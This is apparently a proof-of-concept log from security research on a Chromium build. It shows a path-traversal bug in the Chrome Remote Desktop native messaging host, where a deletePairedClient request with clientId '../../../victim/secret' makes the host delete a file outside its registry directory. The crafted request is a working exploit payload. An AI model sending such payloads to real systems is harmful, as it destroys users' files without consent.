[*] setup:
    HOME          = /tmp/crd-poc-home
    registry dir  = /tmp/crd-poc-home/.config/chrome-remote-desktop/paired-clients
    victim file   = /tmp/crd-poc-home/victim/secret.json
    victim exists before attack: True

[*] launching: /chromium/chromium/src/out/asan/remoting_native_messaging_host chrome-extension://inomeogfingihgjfjlpeplalcfajhgai/

[*] sending native-messaging requests:
    -> {"id": 1, "type": "hello"}
    -> {"id": 2, "type": "deletePairedClient", "clientId": "../../../victim/secret"}

[*] host responses:
    <- {"id": 1, "supportedFeatures": ["pairingRegistry", "oauthClient", "getRefreshTokenFromAuthCode"], "type": "helloResponse", "version": "148.0.7766.0"}
    <- {"file": "../../remoting/base/username.cc", "line": 56, "message": "getpwnam_r() failed for username: vmiura: Success (0)", "severity": "warn", "type": "_debug_log"}
    <- {"file": "../../remoting/base/username.cc", "line": 56, "message": "getpwnam_r() failed for username: vmiura: Success (0)", "severity": "warn", "type": "_debug_log"}
    <- {"id": 2, "result": true, "type": "deletePairedClientResponse"}

[*] host stderr:
    [0408/044740.896703:WARNING:remoting/base/username.cc:56] getpwnam_r() failed for username: vmiura: Success (0)
    [0408/044740.897003:WARNING:remoting/base/username.cc:56] getpwnam_r() failed for username: vmiura: Success (0)

[*] victim exists after attack:  False

[+] PATH TRAVERSAL CONFIRMED
[+] /tmp/crd-poc-home/victim/secret.json was deleted via clientId='../../../victim/secret'
[+] The host unlinked a file outside its registry directory.